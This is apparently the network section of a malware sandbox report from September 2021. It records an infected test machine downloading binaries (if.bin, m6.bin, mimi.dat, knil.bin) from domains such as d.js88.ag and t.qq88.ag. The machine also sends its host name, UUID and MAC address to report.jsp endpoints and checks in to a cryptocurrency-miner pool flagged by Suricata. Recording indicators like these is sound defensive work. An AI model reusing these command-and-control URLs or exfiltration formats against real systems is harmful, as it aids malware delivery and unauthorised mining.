Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| d.js88.ag | 104.21.28.20 | |
| t.qq88.ag | 172.67.162.73 | |
| t.ouler.cc | 172.67.134.190 | |
| api.890.la |
CNAME
wakuang.eatuo.com
|
1.117.58.154 |
| api.ipify.org | 23.21.76.7 | |
| t.jusanrihua.com | 172.67.135.182 | |
| t.ss700.co | 172.67.157.180 |
- TCP Requests
-
-
192.168.56.103:49225 1.117.58.154:6363api.890.la
-
192.168.56.103:49219 104.21.14.39:80t.ss700.co
-
192.168.56.103:49215 104.21.28.20:80d.js88.ag
-
192.168.56.103:49216 104.21.28.20:80d.js88.ag
-
192.168.56.103:49217 104.21.28.20:80d.js88.ag
-
192.168.56.103:49218 104.21.28.20:80d.js88.ag
-
192.168.56.103:49224 104.21.28.20:80d.js88.ag
-
192.168.56.103:49210 104.21.6.109:80t.ouler.cc
-
192.168.56.103:49222 104.21.7.40:80t.jusanrihua.com
-
192.168.56.103:49223 104.21.7.40:80t.jusanrihua.com
-
192.168.56.103:49202 172.67.162.73:80t.qq88.ag
-
192.168.56.1:22 192.168.56.103:49755
-
192.168.56.103:49241 50.16.244.183:443api.ipify.org
-
- UDP Requests
-
-
192.168.56.103:53893 164.124.101.2:53
-
192.168.56.103:56357 164.124.101.2:53
-
192.168.56.103:58465 164.124.101.2:53
-
192.168.56.103:63128 164.124.101.2:53
-
192.168.56.103:137 192.168.56.255:137
-
192.168.56.103:138 192.168.56.255:138
-
192.168.56.103:49152 239.255.255.250:3702
-
192.168.56.103:49168 239.255.255.250:1900
-
192.168.56.103:49170 239.255.255.250:3702
-
192.168.56.103:49172 239.255.255.250:3702
-
192.168.56.103:58466 239.255.255.250:3702
-
52.231.114.183:123 192.168.56.103:123
-
8.8.8.8:53 192.168.56.103:50665
-
8.8.8.8:53 192.168.56.103:53498
-
8.8.8.8:53 192.168.56.103:54510
-
8.8.8.8:53 192.168.56.103:55690
-
8.8.8.8:53 192.168.56.103:59437
-
8.8.8.8:53 192.168.56.103:60090
-
8.8.8.8:53 192.168.56.103:63659
-
GET
200
https://api.ipify.org/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Host: api.ipify.org
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
Content-Type: text/plain
Vary: Origin
Date: Mon, 13 Sep 2021 22:55:52 GMT
Content-Length: 15
Via: 1.1 vegur
GET
200
http://t.qq88.ag/a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*700217562
REQUEST
RESPONSE
BODY
GET /a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*700217562 HTTP/1.1
Host: t.qq88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:24 GMT
Content-Type: application/octet-stream
Content-Length: 11289
Connection: keep-alive
last-modified: Sun, 11 Jul 2021 12:56:32 GMT
etag: "60eaea80-2c19"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hMYYN8JlF0iRiry%2BqM%2FVSRDEGSoWQ%2FJ1EmfvbzitiBmggyIwn1HIX%2F%2BdgwNjOjGlWIiBOOZ30ScIf5vsKTCwqb3Wdlkt740D1BnjMPAJitXUg3vZFtoRDQ6uU4w%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f507b81cfcd9-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://t.ouler.cc/a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*1953334123
REQUEST
RESPONSE
BODY
GET /a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*1953334123 HTTP/1.1
Host: t.ouler.cc
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:31 GMT
Content-Type: application/octet-stream
Content-Length: 11289
Connection: keep-alive
last-modified: Sun, 11 Jul 2021 12:56:32 GMT
etag: "60eaea80-2c19"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q1yiV%2BcWOwbXF6uz4Cj0LV8q8znWrzxCSxnEqIvVwQdGF%2BPjY%2BqFGQLEcqFt4N7Ryenm0MyZW832a7FfcqHXk4Fet640us4Eb9ZceRKiFgx92dBCmrnu2zw6eHuw"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f532dce9ae91-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/if.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74
REQUEST
RESPONSE
BODY
GET /if.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74 HTTP/1.1
Host: d.js88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:36 GMT
Content-Type: application/octet-stream
Content-Length: 201935
Connection: keep-alive
last-modified: Sun, 11 Jul 2021 12:53:55 GMT
etag: "60eae9e3-314cf"
Cache-Control: max-age=1800
CF-Cache-Status: MISS
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7pTENlAL7lTI4B42Q5Z1iFACwt6b3ejorJzbctqlagggy5ZDGAjHJSYeuLKq%2FmilumxhOfe2lgjp%2BBKeYGyzbeSOyCbKcXXPFusC2lFNSfMYlWRNSQuz8pgnqL0%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f548cd050a5a-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/m6.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74
REQUEST
RESPONSE
BODY
GET /m6.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74 HTTP/1.1
Host: d.js88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:35 GMT
Content-Type: application/octet-stream
Content-Length: 794876
Connection: keep-alive
last-modified: Fri, 14 May 2021 10:25:34 GMT
etag: "609e501e-c20fc"
Cache-Control: max-age=1800
CF-Cache-Status: MISS
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a6%2BO4c8yF4Ryn1cYdqnf0mEYVU1QFALQ9FI%2BDArbolI0ORZWz2DclP9fZRpIPA4Qgw64zaNl70QpD6wl5CmTehUBu9CQdAp4fq03KET4uwsYjtjIKQoShNsYYcM%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f548dca5fce1-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/kr.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74
REQUEST
RESPONSE
BODY
GET /kr.bin?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74 HTTP/1.1
Host: d.js88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:36 GMT
Content-Type: application/octet-stream
Content-Length: 16595
Connection: keep-alive
last-modified: Sun, 11 Jul 2021 12:53:59 GMT
etag: "60eae9e7-40d3"
Cache-Control: max-age=1800
CF-Cache-Status: MISS
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BUHi3jUfb4KC65fdn8L0%2FqmktLs7uko9jDjMxcHeccnhd5HohoZ9DZmka3UW1fleH5724uC8T2en9a7LsN8tFt7hWhWnW%2B7%2FMshSxTcJDWqvTKivjHRqaYCJQns%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f5490a790a92-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74
REQUEST
RESPONSE
BODY
GET /?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74 HTTP/1.1
Host: d.js88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:35 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
last-modified: Fri, 14 May 2021 14:57:06 GMT
vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ECbQLaOGCy0mNPLc0%2FI6bzP1%2BOQHf3d9rL0wefoKcneAggcHuor%2BZEwG5C%2BDnO6xoxpqKIjPXUQEY88RRbBeqUPkTpjoY5mwt7quuWS0okP1qQp3Z2cnm97HmfQ%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f549ef44fcd5-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://t.ss700.co/a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*1723852997
REQUEST
RESPONSE
BODY
GET /a.jsp?ipc_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*1723852997 HTTP/1.1
Host: t.ss700.co
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:35 GMT
Content-Type: application/octet-stream
Content-Length: 11289
Connection: keep-alive
last-modified: Sun, 11 Jul 2021 12:56:32 GMT
etag: "60eaea80-2c19"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vL1nUWK9vljUUZwtFWWN6ZiSKbRma%2Ftzt%2FMecfxHZqE%2FGvdrMbdJlLoiwV%2Fb85G5HMcAMUF8aae5s1rSoLpjgKoUshorMNJspXNgRirnN%2F089ylk5X7fdF613kl2"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f54cbf6f0a8e-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://t.qq88.ag/report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74&
REQUEST
RESPONSE
BODY
GET /report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74& HTTP/1.1
Host: t.qq88.ag
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:35 GMT
Content-Type: application/octet-stream
Content-Length: 6421
Connection: keep-alive
last-modified: Wed, 30 Jun 2021 10:24:34 GMT
etag: "60dc4662-1915"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qsone7i6tHYMEOpv%2BVlV5Cj%2BpT1TetSPfsg1bEDWjfdYusRpAbzKyaTraaGbquQjFi2ZMHv7EOZ%2B4m51ipynTeh2v1y5OrONks6DI2iEpBdU5vJR0Lx4kb1Prm8%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f54d9a5afcd9-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://t.ouler.cc/report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74&
REQUEST
RESPONSE
BODY
GET /report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74& HTTP/1.1
Host: t.ouler.cc
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:36 GMT
Content-Type: application/octet-stream
Content-Length: 6421
Connection: keep-alive
last-modified: Wed, 30 Jun 2021 10:24:34 GMT
etag: "60dc4662-1915"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6ZrgWDvgTm%2Bl4Jso6AdZlZrJwW%2BvyH4B9%2BDSgoer%2B2fir8Ed6om6cC%2F6YAKweKaLV0qP5QneFCuVB6eOLkv3uv%2FkTUl%2Fow%2FyhDgn2HhMjcNq6wPXx%2F5oTjNSPuu9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f554be8dae91-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://t.ss700.co/report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74&
REQUEST
RESPONSE
BODY
GET /report.jsp?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74& HTTP/1.1
Host: t.ss700.co
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 6421
Connection: keep-alive
last-modified: Wed, 30 Jun 2021 10:24:34 GMT
etag: "60dc4662-1915"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sKUZ5i%2FMDnaDDja95UZyMujOOMC11FLi2I0sjgmCLwJ%2FY9CE0MmbXKCjLgkqDz5tBYmcbOyPLL0tHPgNoJlVPgYjMKE2NEUmXwc1eyB1TdZKaG8rasUhXoI7RCT9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f58b69b90a8e-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
522
http://t.jusanrihua.com/a.jsp?rep_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*583755988
REQUEST
RESPONSE
BODY
GET /a.jsp?rep_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*583755988 HTTP/1.1
Host: t.jusanrihua.com
Connection: Keep-Alive
HTTP/1.1 522
Date: Mon, 13 Sep 2021 22:55:16 GMT
Content-Length: 0
Connection: keep-alive
cache-control: no-store, no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vbly1ctf2JIprkmMqyX1FyKco5E1ToUmnvt6%2BZjLou6ZdDwvmGE9y94pHzO62wLmBfqSh8de6HiWGQO03SzPrcUkIo1qii7ePErEI93H8Z0JvC2Iujgal5j%2BGpxseNhUslfI"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f58e097efced-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
522
http://t.jusanrihua.com/a.jsp?rep_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*232384097
REQUEST
RESPONSE
BODY
GET /a.jsp?rep_20210914?TEST22-PC*TEST22-PC$*2C43E82A-4640-204B-882F-B25EE182DD03*232384097 HTTP/1.1
Host: t.jusanrihua.com
Connection: Keep-Alive
HTTP/1.1 522
Date: Mon, 13 Sep 2021 22:55:16 GMT
Content-Length: 0
Connection: keep-alive
cache-control: no-store, no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VJfUxw44AcNQIfCMIvso0oDLpAPRyGt5K9HcLJmOZaUw7J6c36m6ZPlGq3EfScRCv652uh1FAJ2nbiJpwcD4kgmFh1fFcUdhwZLBkUSW0WiWhqgMJbJLO2JPQxwxzZUzG8yU"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f58e2a150a6a-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74
REQUEST
RESPONSE
BODY
GET /?&TEST22-PC&2C43E82A-4640-204B-882F-B25EE182DD03&94:DE:27:8C:32:74 HTTP/1.1
Host: d.js88.ag
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:54:45 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
last-modified: Fri, 14 May 2021 14:57:06 GMT
vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LjueE5XFjqWWgEgpL2pCurfvMevCpBDl5S2tS%2BrzdZl63S8%2BILlGi%2B9y5MOjzVgHLKe7jnzrj6V0RJYJYSnVue%2BcQlRqRQ8sKpsNIUvwyvDD06aOJCsvSD%2FIH2o%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f58e4a460a6a-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/mimi.dat?v=6f06ca&r=3
REQUEST
RESPONSE
BODY
GET /mimi.dat?v=6f06ca&r=3 HTTP/1.1
Host: d.js88.ag
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:55:04 GMT
Content-Type: application/octet-stream
Content-Length: 3563487
Connection: keep-alive
last-modified: Tue, 27 Apr 2021 01:37:52 GMT
etag: "60876af0-365fdf"
accept-ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q0UGWCeJWCpQ3R3IunNyPRkavgLeB9PObGLOvWRpBLoUSKWQ9ZeyrcSir9vBtzZTb17%2FuhWkqecZXd3zqm3yqb%2FokCG5UHsOOz4Da0FafJkmPIp1ezMH9BZVHXw%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f6058c630a5a-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
GET
200
http://d.js88.ag/knil.bin?v=6f06ca&r=2
REQUEST
RESPONSE
BODY
GET /knil.bin?v=6f06ca&r=2 HTTP/1.1
Host: d.js88.ag
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 22:55:17 GMT
Content-Type: application/octet-stream
Content-Length: 418183
Connection: keep-alive
last-modified: Sat, 27 Feb 2021 01:23:09 GMT
etag: "60399efd-66187"
Cache-Control: max-age=1800
CF-Cache-Status: MISS
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Uts3LoO5k2umMvAxvJiusqGyz%2FlnUY8W4FryBu3QqxeBkJdWfGS0jHJGoASF4cs4FIwSKpt5CDt3ONaWWXqzg%2FFK1%2FdRGe4F6vRLwZNqyy491bqtR9KdwoxBTA4%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 68e4f650fd700a5a-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| UDP 192.168.56.103:56357 -> 164.124.101.2:53 | 2027758 | ET DNS Query for .cc TLD | Potentially Bad Traffic |
| TCP 192.168.56.103:49225 -> 1.117.58.154:6363 | 2027316 | ET POLICY Cryptocurrency Miner Checkin M2 | Potential Corporate Privacy Violation |
| TCP 192.168.56.103:49241 -> 50.16.244.183:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.103:49241 50.16.244.183:443 |
C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA | CN=*.ipify.org | 6f:de:ae:2b:9f:c6:cd:5b:7f:5c:d0:69:fa:c8:8b:62:19:fd:56:ad |
Snort Alerts
No Snort Alerts